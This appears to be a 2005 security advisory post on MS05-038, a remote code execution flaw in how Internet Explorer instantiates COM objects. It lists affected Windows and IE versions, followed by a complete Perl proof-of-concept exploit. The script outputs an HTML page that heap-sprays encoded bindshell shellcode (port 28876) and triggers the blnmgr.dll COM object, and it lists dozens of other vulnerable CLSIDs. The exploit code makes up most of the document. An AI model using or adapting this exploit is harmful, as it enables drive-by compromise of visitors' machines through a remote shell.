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Microsoft Internet Explorer COM Objects Instantiation (Exploit, MS05-038)
------------------------------------------------------------------------
SUMMARY
A remote code execution vulnerability exists in the way Internet Explorer
instantiates COM Objects that are not intended to be used in Internet
Explorer, the following exploit code can be used to test your system for
the vulnerability.
DETAILS
Vulnerable Systems:
* Microsoft Windows 2000 Service Pack 4
* Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service
Pack 2
* Microsoft Windows XP Professional x64 Edition
* Microsoft Windows Server 2003 and Microsoft Windows Server 2003 Service
Pack 1
* Microsoft Windows Server 2003 for Itanium-based Systems and Microsoft
Windows Server 2003 with Service Pack 1 for Itanium-based Systems
* Microsoft Windows Server 2003 x64 Edition
* Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and
Microsoft Windows Millennium Edition (ME) Review the FAQ section of this
bulletin for details about these operating systems.
* Internet Explorer 5.01 Service Pack 4 on Microsoft Windows 2000 Service
Pack 4
* Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service
Pack 4 or on Microsoft Windows XP Service Pack 1
* Internet Explorer 6 for Microsoft Windows XP Service Pack 2
* Internet Explorer 6 for Microsoft Windows Server 2003 and Microsoft
Windows Server 2003 Service Pack 1
* Internet Explorer 6 for Microsoft Windows Server 2003 for Itanium-based
Systems and Microsoft Windows Server 2003 with SP1 for Itanium-based
Systems
* Internet Explorer 6 for Microsoft Windows Server 2003 x64 Edition
* Internet Explorer 6 for Microsoft Windows XP Professional x64 Edition
* Internet Explorer 5.5 Service Pack 2 on Microsoft Windows Millennium
Edition
* Internet Explorer 6 Service Pack 1 on Microsoft Windows 98, on
Microsoft Windows 98 SE, or on Microsoft Windows Millennium Edition
Exploit:
#!/usr/bin/perl
############################
#
# Internet Explorer COM Objects Instantiation Proof of Concept Exploit
(MS05-038)
#
# Bindshell on port 28876 - Based and ripped from Berend-Jan Wever's IE
Exploit
#
# Vulnerable Objects :
#
# 3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5 (blnmgr.dll) <- Exploited here
# 860BB310-5D01-11D0-BD3B-00A0C911CE86 (devenum.dll)
# E0F158E1-CB04-11D0-BD4E-00A0C911CE86 (devenum.dll)
# 33D9A761-90C8-11D0-BD43-00A0C911CE86 (devenum.dll)
# 4EFE2452-168A-11D1-BC76-00C04FB9453B (devenum.dll)
# 33D9A760-90C8-11D0-BD43-00A0C911CE86 (devenum.dll)
# 33D9A762-90C8-11D0-BD43-00A0C911CE86 (devenum.dll)
# 083863F1-70DE-11D0-BD40-00A0C911CE86 (devenum.dll)
# 18AB439E-FCF4-40D4-90DA-F79BAA3B0655 (diactfrm.dll)
# 31087270-D348-432C-899E-2D2F38FF29A0 (wmm2filt.dll)
# D2923B86-15F1-46FF-A19A-DE825F919576 (fsusd.dll)
# FD78D554-4C6E-11D0-970D-00A0C9191601 (dmdskmgr.dll)
# 52CA3BCF-3B9B-419E-A3D6-5D28C0B0B50C (browsewm.dll)
# 01E04581-4EEE-11D0-BFE9-00AA005B4383 (browseui.dll)
# AF604EFE-8897-11D1-B944-00A0C90312E1 (browseui.dll)
# 7849596A-48EA-486E-8937-A2A3009F31A9 (shell32.dll)
# FBEB8A05-BEEE-4442-804E-409D6C4515E9 (shell32.dll)
# 3050F391-98B5-11CF-BB82-00AA00BDCE0B (mshtml.dll)
# 8EE42293-C315-11D0-8D6F-00A0C9A06E1F (inetcfg.dll)
# 2A6EB050-7F1C-11CE-BE57-00AA0051FE20 (infosoft.dll)
# 510A4910-7F1C-11CE-BE57-00AA0051FE20 (infosoft.dll)
# 6D36CE10-7F1C-11CE-BE57-00AA0051FE20 (infosoft.dll)
# 860D28D0-8BF4-11CE-BE59-00AA0051FE20 (infosoft.dll)
# 9478F640-7F1C-11CE-BE57-00AA0051FE20 (infosoft.dll)
# B0516FF0-7F1C-11CE-BE57-00AA0051FE20 (infosoft.dll)
# D99F7670-7F1A-11CE-BE57-00AA0051FE20 (infosoft.dll)
# EEED4C20-7F1B-11CE-BE57-00AA0051FE20 (infosoft.dll)
# C7B6C04A-CBB5-11D0-BB4C-00C04FC2F410 (query.dll)
# 85BBD920-42A0-1069-A2E4-08002B30309D (syncui.dll)
# E846F0A0-D367-11D1-8286-00A0C9231C29 (clbcatex.dll)
# B4B3AECB-DFD6-11D1-9DAA-00805F85CFE3 (clbcatq.dll)
# ECABB0BF-7F19-11D2-978E-0000F8757E2A (comsvcs.dll)
# 466D66FA-9616-11D2-9342-0000F875AE17 (msconf.dll)
# 67DCC487-AA48-11D1-8F4F-00C04FB611C7 (msdtctm.dll)
# 00022613-0000-0000-C000-000000000046 (mmsys.cpl
# D2D588B5-D081-11D0-99E0-00C04FC2F8EC (wmiprov.dll)
# 5D08B586-343A-11D0-AD46-00C04FD8FDFF (wbemess.dll)
# CC7BFB42-F175-11D1-A392-00E0291F3959 (qedit.dll)
# CC7BFB43-F175-11D1-A392-00E0291F3959 (qedit.dll)
#
# Tested on :
# Internet Explorer 6 on Microsoft Windows XP SP2
#
# Usage : perl MS05-038.pl > mypage.html
#
############################
#
# This program is free software; you can redistribute it and/or modify it
under
# the terms of the GNU General Public License version 2, 1991 as published
by
# the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but
WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# A copy of the GNU General Public License can be found at:
# http://www.gnu.org/licenses/gpl.html
# or you can write to:
# Free Software Foundation, Inc.
# 59 Temple Place - Suite 330
# Boston, MA 02111-1307
# USA.
#
############################
# header
my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n";
# Win32 bindshell (port 28876) - SkyLined
my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".
"%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".
"%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".
"%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".
"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".
"%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".
"%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".
"%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".
"%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".
"%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".
"%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".
"%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".
"%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".
"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".
"%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".
"%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".
"%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";
# Memory
my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n".
"headersize = 20;\n".
"slackspace = headersize+shellcode.length\n".
"while (bigblock.length<slackspace) bigblock+=bigblock;\n".
"fillblock = bigblock.substring(0, slackspace);\n".
"block = bigblock.substring(0, bigblock.length-slackspace);\n".
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n".
"memory = new Array();\n".
"for (i=0;i<750;i++) memory[i] = block + shellcode;\n".
"</SCRIPT>\n";
# blnmgr.dll
my $clsid = '3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5';
# footer
my $footer = "<object classid=\"CLSID:".$clsid."\"></object>\n".
"Microsoft Internet Explorer blnmgr.dll COM Object Remote Exploit\n".
"</body><script>location.reload();</script></html>";
# print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin
print "$header $shellcode $code $footer";
#EoF
ADDITIONAL INFORMATION
The information has been provided by <mailto:team@frsirt.com> frsirt.
The original article can be found at:
<http://www.frsirt.com/exploits/20050809.MS05-038.pl.php>
http://www.frsirt.com/exploits/20050809.MS05-038.pl.php
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